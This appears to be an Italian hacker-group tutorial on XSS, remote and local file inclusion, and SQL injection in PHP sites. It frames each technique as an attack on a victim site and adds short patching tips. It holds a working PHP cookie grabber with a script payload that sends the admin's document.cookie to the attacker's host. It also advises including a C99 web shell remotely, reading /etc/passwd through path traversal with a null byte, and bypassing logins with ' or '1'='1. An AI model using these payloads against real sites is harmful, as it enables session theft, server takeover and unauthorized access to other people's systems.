---------------------------------------------------------------------..... _/ / _ / / \ \/ / / / / \ / \ \ \ / /_/ \ /\ / \ \ \ / /_/ > Y \ \ \ >\_/ / > / \ / / \/ \/ \/ \/ / / \/ --------------------------------------------------------------------- Accenno alle Tecniche Più Famose Autore: DevilAuron For Info: http://devilsnight.altervista.org --------------------------------------------------------------------- [1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection ---------------------------------------------------------------------
Cross Site Scripting Xss Il Cross Site Scripting è una tecnica effettuata tramite immissione di codice javascript via input. Uno dei suoi scopi principali ( non l unico ) è quello di impossessarsi dei cookie della vittima. Immaginiamo di avere una pagina con un sorgente come questo: index.php: print $_GET['variabile']; E proviamo a inserire un alert nella variabile GET: http://sito.it/index.php?variabile=<script>alert(1)</script> ci apparirà semplicemente un alert con scritto 1. Ma questa tecnica (apparentemente innocua) è molto utile. Proviamo a rubare i cookie dell admin del sito con una xss: Innanzi tutto ci serve un Cookie Grabber, /* www.devilsnight.altervista.org */ $cookie = $_GET['cookie']; // $time = date("y-m-d G:i:s A"); // Segna la data $wr = fopen("cookies.html", "a"); //Apre il file cookies.html fwrite($wr, 'Cookie: <b>:.$cookie. </b><br>'); // Stampa I Cookie fclose($wr); // Chiude il file Bene.. ora, dopo aver trovato una xss cerchiamo di sfruttarla in questo modo: http://sito.it/index.php?variabile=<script>window.location="http://tuosito.it/cg.php?cookie="+ document.cookie</script> Inviamo la pagina all amministratore del sito e andiamo a visitare la pagina cookies.html, dentro ci troveremo dentro i cookie dell admin ^^ Patching Ma come faremo a proteggerci da questi attacchi? Fortunatamente gli sviluppatori del php hanno inventato le funzioni htmlspecialchars e htmlentities: Ecco un esempio di codice NON vulnerabile: print htmlspecialchars($_get['variabile']); Oppure: print htmlentities($_get['variabile']);
Provate ora e vedrete che andando su http://sito.it/index.php?variabile=<script>alert(1)</script>non comparirà più l alert ^^ Remote File Inclusion File Inclusion (Remote/Local) Il Remote File Inclusion ( RFI : Inclusione di file da remoto ) è una tecnica che consiste nell includere file esterni (in un sito vittima ) Consiglio per chi è alle prime armi di scaricarsi la shell C99 e salvarla sul proprio sito in formato txt (mi raccomando non php, altrimenti il file verrà intepretato sul NOSTRO server) Ora supponiamo di avere una pagina vulnerabile di questo tipo $vuln = $_GET['rfi']; include ($vuln); Questo è chiaramente uno script vulnerabile a attacchi RFI poichè include file non specificati e quindi è possibile includere anche file esterni (remoti) Quindi potremo attaccare il sito in questo modo: http://sito.it/pagvuln.php?rfi=http://sito.it/nostrashell.txt?cmd=ls Ma cosa sono quei segni alla fine? (?cmd=ls) Immaginiamo che al posto del codice scritto prima avessimo una cosa del genere $vuln = $_GET['rfi']; include ($vuln. '/boh.php'); In questo caso mettendo senza punto interrogativo il server includerà il file http://sito.it/nostrashell.txt/boh.php E chiaramente darà errore Invece aggiungendo?cmd=ls (comando *nix) mi aprirà la pagina http://sito.it/nostrashell.txt?cmd=ls/boh.php E includerà correttamente la nostra shell NB: basta aggiungere solo il? (punto interrogativo) che?cmd=ls Local File Inclusion Il Local File Inclusion ( LFI: Inclusione di file locali ) è una tecnica molto simile al RFI ma può includere solo file interni al server Per esempio potremo chiedere al sito i nomi degli user e le password in questo modo: http://sito.it/pagvuln.php?lol=../../../../../../../etc/passwd
Ma forse molte volte questo attacco non farà nessun effetto Perché se il sorgente è simile a questo: $lol = $_GET['lol']; include("$lol.php"); Tenterà di aprire il file../../../../../../../etc/passwd.php (e naturalmente darà errore) Quindi inseriamo alla fine %00 (null byte): http://sito.it/pagvuln.php?lol=../../../../../../../etc/passwd%00 E molto probabilmente così funzionerà ^^ Patching Sia per il RFI che per il LFI il consiglio che do è quello di non includere variabili non controllate ma di specificare sempre la cartella da dove includere files Per Esempio: $lol = $_GET['lol']; include("$lol.php"); Lo Faremo diventare $lol = "./"; include("$lol". "pagina.php");
SQL Injection Prima di vedere questa tecnica è necessaria una conoscenza del linguaggio SQL Al giorno d oggi (quasi) ogni sito usa un database (quasi sempre) MySql. Possiamo mandare al nostro database dei valori sia in forma GET che POST Per provare se un sito è vulnerabile proviamo a inserire ' nel campo user (o password) Se apparirà una cosa simile: Microsoft OLE DB Provider for SQL Server error '80040e14' Unclosed quotation mark before the character string '''. Il sito molto probabilmente sarà vulnerabile. Analizziamo come mandare al database dei valori tramite GET: Innanzi tutto stabiliamo le due variabili (in questo caso name e pwd) $name = $_GET['username']; $pwd = $_GET['pwd']; Ora scriviamo la query sql $boh = mysql_query( SELECT * FROM nometabella WHERE username='$name' AND pwd='$pwd' ); e proviamo ad inserire in entrambi i campi questo codice : ' or '1'='1 O ancora più semplicemente or ''=' www.sito.it/admin/index.php?username=' or ''='&pwd=' or ''=' Cosa succede? La pagina manda questa query al db: SELECT * FROM nometabella WHERE username='' or ''=''AND pwd='' or ''='' Quindi ci loggheremo (senza aver fornito le credenziali) senza problemi ^^ NB: in verità basterà inserire solamente nel campo della password il codice: SELECT * FROM nometabella WHERE username=''and pwd='' or ''='' Patching: Vediamo come patchare i codici riportati qui sopra:
Ci sono due modi, uno è usato quando il valore è letterale, l altro quando è numerico: Nel primo caso si usa la funzione mysql_real_escape_string che (quasi come l htmlspecialchar per le xss) filtra i codici malvagi: $pwd = mysql_real_escape_string ($_GET['pwd']; Mentre per i valori numerici (interi) si aggiunge un (int) : $userid = (int) $_GET['userid']; In questo caso tutto quello che non è numerico non viene considerato. Bene.. Anche questo tutorial è finito ^^ Spero di avervi chiarito qualche dubbio, per qualsiasi domanda mi trovate su http://devilsnight.altervista.org
// S & S Style - DevilAuron - - Devils Night Crew - - http://devilsnight.altervista.org -